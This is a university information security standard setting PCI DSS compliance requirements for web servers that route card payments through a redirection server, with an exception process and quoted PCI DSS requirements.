Purpose

The purpose of this standard is to establish secure and compliant guidelines for managing web servers utilizing the University's Payment Card Industry (PCI) Data Security Standard (DSS) web redirection server¹. Web servers route payment flow for extremely sensitive cardholder data (CHD) and are a prime target for attackers, as the processing of cardholder data creates a significant business-critical exposure, and compromised cardholder data is easily monetized by attackers.

By implementing this standard, the University seeks to ensure compliance with the PCI DSS and mitigate risks posed by utilizing Electronic Commerce (E-Commerce) transaction systems. This approach balances providing effective guidance for managing web services while allowing University units freedom to maintain individual processes and procedures.

Scope

This standard applies to all University-managed web servers and support teams utilizing the University's PCI DSS web redirection server as defined in Self Assessment Questionnaire (SAQ) A². This standard exclusively applies to web servers ("servers") and support teams involved in E-Commerce flows outside the scope of the Payment Card Industry Data Security Standard.

Standard

Web servers and their support teams must maintain and follow documented processes and/or procedures to meet the following criteria:

1. Support teams must maintain an up-to-date list of servers ("inventory").
2. Servers and their components must maintain up-to-date firmware and software versions. Critical or high-security patches/updates must be installed within one month of release.
3. Vendor default accounts shall be disabled, removed, or utilized only after having vendor-default passwords changed.
4. Servers must utilize a unique ID for each user before access to system components or cardholder data is allowed.
5. Group, shared, generic accounts, or other shared user authentication credentials are disallowed.
6. Access for terminated users must be immediately revoked.
7. All user access to system components for users and administrators shall be authenticated via at least one of the following authentication factors: something you know, something you have, or something you are.
8. A change- and tamper-detection mechanism is deployed to alert personnel to unauthorized modification of the URL of the PCI DSS web redirect service.

Exceptions

While this standard is intended to apply comprehensively, there may be instances where certain devices or support teams are unable to meet the full requirements. In such cases, exceptions must be formally requested and reviewed.

Requests for exceptions must be submitted to Payment Card Support³ through the university’s ticketing system or by emailing paymentcardsupport@ilstu.edu. Each request must include:

• The information technology team and functional business units associated with the exception request
• Device or process/procedure identifiers affected by the exception
• A detailed use case explaining why the exception is necessary and what compensating security controls, if any, will be implemented

Payment Card Support, Information Security Office, and the E-Commerce Committee will mutually review all exception requests in accordance with the Information Security Program's exception management process. Approval will be granted only when it is determined that operational needs outweigh the security risks, and where appropriate compensating controls are in place to mitigate those risks. All approved exceptions will be documented, periodically reviewed, and may be subject to additional security monitoring.

Additional Information

Footnotes

The following information provides supporting information referenced in the other sections of this document:

1. Payment card industry (PCI) definitions are maintained by the PCI Security Standards Council (SSC) at the PCI SSC website Glossary including Web Redirection Server, Payment Cards, Payment Card Industry Data Security Standard (PCI DSS), Point of Interaction (POI), Point-to-Point Encryption (P2PE), Self Assessment Questionnaire (SAQ), and more.
2. SAQ A: The PCI SSC reporting tool used to document self-assessment results from an entity’s PCI DSS assessment - specific to ECommerce solutions. The A self-assessment document is maintained by the PCI SSC.

Supporting References

The following information provides supporting references that informed the development of this standard:

https://policy.illinoisstate.edu/technology/9-8/

https://policy.illinoisstate.edu/fiscal/cashier/7-5-2/

https://policy.illinoisstate.edu/technology/9-2-2/

https://listings.pcisecuritystandards.org/documents/PCI-DSS-v4-0-SAQ-A.pdf

https://www.pcisecuritystandards.org/glossary/

PCI DSS Guidance

Illinois State University complies with the PCI DSS framework to ensure our cybersecurity measures effectively meet compliance and mitigate risks associated with payment card processing. PCI DSS requirements relevant to this standard are documented here.

2.2.2 Vendor default accounts are managed as follows: If the vendor default account(s) will be used, the default password is changed per Requirement 8.3.6. If the vendor default account(s) will not be used, the account is removed or disable

6.3.3 All system components are protected from known vulnerabilities by installing applicable security patches/updates as follows: Critical or high-security patches/updates are installed within one month of release.

8.2.1 All users are assigned a unique ID before access to system components or cardholder data is allowed.

8.2.2 Group, shared, or generic accounts, or other shared authentication credentials are only used when necessary on an exception basis, and are managed as follows: Account use is prevented unless needed for an exceptional circumstance. Use is limited to the time needed for the exceptional circumstance. Business justification for use is documented. Use is explicitly approved by management. Individual user identity is confirmed before access to an account is granted. Every action taken is attributable to an individual user.

8.2.5 Access for terminated users is immediately revoked.

8.3.1 All user access to system components for users and administrators is authenticated via at least one of the following authentication factors: Something you know, such as a password or passphrase; Something you have, such as a token device or smart card; Something you are, such as a biometric element.

11.6.1 A change- and tamper-detection mechanism is deployed as follows: To alert personnel to unauthorized modification (including indicators of compromise, changes, additions, and deletions) to the HTTP headers and the contents of payment pages as received by the consumer browser; The mechanism is configured to evaluate the received HTTP header and payment page; The mechanism is configured to evaluate the received HTTP header and payment page; The mechanism functions are performed as follows: At least once every seven days OR Periodically (at the frequency defined in the entity’s targeted risk analysis, which is performed according to all elements specified in Requirement 12.3.1).